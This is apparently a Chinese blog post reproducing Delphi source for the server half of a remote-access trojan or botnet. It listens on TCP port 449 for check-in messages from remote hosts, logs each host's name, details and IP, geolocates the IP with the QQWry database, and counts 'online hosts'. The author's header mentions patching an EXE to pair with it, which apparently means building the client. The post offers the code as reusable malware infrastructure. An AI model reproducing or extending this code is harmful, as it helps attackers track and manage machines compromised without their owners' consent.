DELPHI自动上线服务端源码

unit Main;
{
服务端部分
作者:Jony[E.S.T]
创建日期:2005-12-17
声明:纯真IP数据库读取参考 冷风兄 的代码
   修改EXE内容使用MPHexEditor控件
技术重点:其实也没什么重点,无非是ServerSocket和ClientSocket
}
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, ComCtrls, ImgList, Menus, ScktComp, untTQQWry , Create, Help;
const
WM_CENTER_MESSAGEBOX = WM_USER + 1001;    //自定义消息代码
const
{
定义弹出的消息窗口的类型
OKOnly=0 仅显示确定按钮
Critical=16 "STOP"图标
}
OKOnly=0;
Critical=16;
type
TForm1 = class(TForm)
PageControl1: TPageControl;
TabSheet1: TTabSheet;
SBar: TStatusBar;
ImageList1: TImageList;
SrvIP: TListView;
ImageList2: TImageList;
Panel1: TPanel;
S_Socket: TServerSocket;
MainMenu1: TMainMenu;
N1: TMenuItem;
H1: TMenuItem;
PopupMenu1: TPopupMenu;
N2: TMenuItem;
N3: TMenuItem;
N4: TMenuItem;
ImageList3: TImageList;
procedure S_SocketClientError(Sender: TObject;Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;var ErrorCode: Integer);
procedure S_SocketClientRead(Sender: TObject;Socket: TCustomWinSocket);
procedure FormCreate(Sender: TObject);
procedure N2Click(Sender: TObject);
procedure N1Click(Sender: TObject);
procedure H1Click(Sender: TObject);
procedure N4Click(Sender: TObject);
private
procedure WMCenterMessageBox(var Msg: TMessage); message WM_CENTER_MESSAGEBOX;
public
{ Public declarations }
end;

var
Form1: TForm1;
QQWry: TQQWry;

implementation

{$R *.dfm}
procedure TForm1.WMCenterMessageBox(var Msg: TMessage);
var
MBHwnd: THandle;
MBRect: TRect;
x, y, w, h: Integer;
begin
MBHwnd:=GetActiveWindow;
if (MBHwnd <> 0) then begin
GetWindowRect(MBHWnd, MBRect);
w := MBRect.Right - MBRect.Left + 1;
h := MBRect.Bottom - MBRect.Top + 1;
//计算水平位置
x := Form1.Left + ((Form1.Width - w) div 2);
if x < 0 then
x := 0
else if x + w > Screen.Width then
x := Screen.Width - w;
//计算垂直位置
y := Form1.Top + ((Form1.Height - h) div 2);
if y < 0 then
y := 0
else if y + h > Screen.Height then
y := Screen.Height - h;
//调整位置
SetWindowPos(MBHWnd, 0, x, y, 0, 0, SWP_NOACTIVATE OR SWP_NOSIZE OR SWP_NOZORDER);
end;
end;

function MsgBox(msg:string; mbType:Word; title:string): word;
{弹出消息框}
var
pText, pCaption: PChar;
begin
PostMessage(Application.MainForm.Handle, WM_CENTER_MESSAGEBOX, 0, 0);
pText:=StrAlloc(Length(msg) + 1);
StrPCopy(pText, msg);
pCaption:=StrAlloc(Length(title) + 1);
StrPCopy(pCaption, title);
result:=MessageBox(GetActiveWindow, pText, pCaption, mbType);
end;

Function IPAddr(s:string):string;
{查询IP地址所属区域}
var
IPRecordID: int64;
slIPData: TStringlist;
ss:string;
begin
if not Fileexists(ExtractFilePath(paramstr(0))+'ipdata\QQwry.dat') then
begin
Application.MessageBox('ipdata\QQwry.dat 不存在!','提示');
exit;
end
else
begin
try
QQWry:=TQQWry.Create('ipdata\QQwry.dat');
IPRecordID:=QQWry.GetIPDataID(s);
slIPData:=TStringlist.Create;
QQWry.GetIPDataByIPRecordID(IPRecordID, slIPData);
QQWry.Destroy;
ss:=format('%s',[slIPData[2]]);
slIPData.Free;
Result:=ss;
except
on E: Exception do begin
MsgBox(E.Message, OKOnly + Critical, '错误');
exit;
end;
end;
exit;
end;
end;

procedure TForm1.S_SocketClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
ErrorCode:=0;
end;

procedure TForm1.S_SocketClientRead(Sender: TObject;
Socket: TCustomWinSocket);
{收到消息并处理}
var
len,i:integer;//数据包长度
buf:Pointer;
C,N,M,S,Ss,D:string;
List:TListItem;
begin
Len:=Socket.ReceiveLength;//读出包长度
GetMem(buf,len);//动态分配内存
Socket.ReceiveBuf(buf^,len);//接收包,读入缓冲区
S:=StrPas(Pchar(buf));
S:=Copy(S,1,len);
if s='' then exit;
d:=Copy(s,1,4);
c:=copy(s,5,Length(s)-4);
if d='info' then
begin
i:=pos('>>>',c);//取>>>在第几位
N:=Copy(c,1,i-1);//从第一位起取 i-1 个字符,即取得>>>之前的字符
c:=Copy(c,i+3,length(c));//重新取C的值为原值的第i+1位起 - 原值的结尾
i:=pos('>>>',c);
m:=Copy(c,1,i-1);
ss:=Copy(c,i+3,length(c));
for i:=1 to SrvIP.Items.Count do
if c=SrvIP.Items[i-1].Caption then exit;
List:=SrvIP.items.Add;
List.Caption:=n;
List.SubItems.Add(m);
List.SubItems.Add(Ss);
List.SubItems.Add(ipaddr(list.Caption));
sbar.Panels[0].Text:='上线主机总数:'+IntToStr(SrvIP.Items.Count);
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
{监听 449 端口的数据 }
begin
S_Socket.Active:=False;
S_Socket.Port:=449;
S_Socket.Active:=True;
sbar.Panels[0].Text:='上线主机总数:'+inttostr(SrvIP.Items.Count);
end;

procedure TForm1.N2Click(Sender: TObject);
{ 清空SrvIP控件的内容,重新监听 449 端口的数据 }
begin
try
SrvIP.Clear;
S_Socket.Active:=False;
S_Socket.Port:=449;
S_Socket.Active:=True;
sbar.Panels[0].Text:='上线主机总数:'+IntToStr(SrvIP.Items.Count);
sbar.Panels[1].Text:='刷新上线主机完毕!';
except
AppliCation.MessageBox('端口错误?','提示');
exit;
end;
end;

procedure TForm1.N1Click(Sender: TObject);
begin
Form2.Show;
end;

procedure TForm1.H1Click(Sender: TObject);
begin
Form3.ShowModal;
end;

procedure TForm1.N4Click(Sender: TObject);
begin
form2.ShowModal;
end;

end.

posted @ 2013-05-01 15:17  小天1981  阅读(479)  评论(0编辑  收藏  举报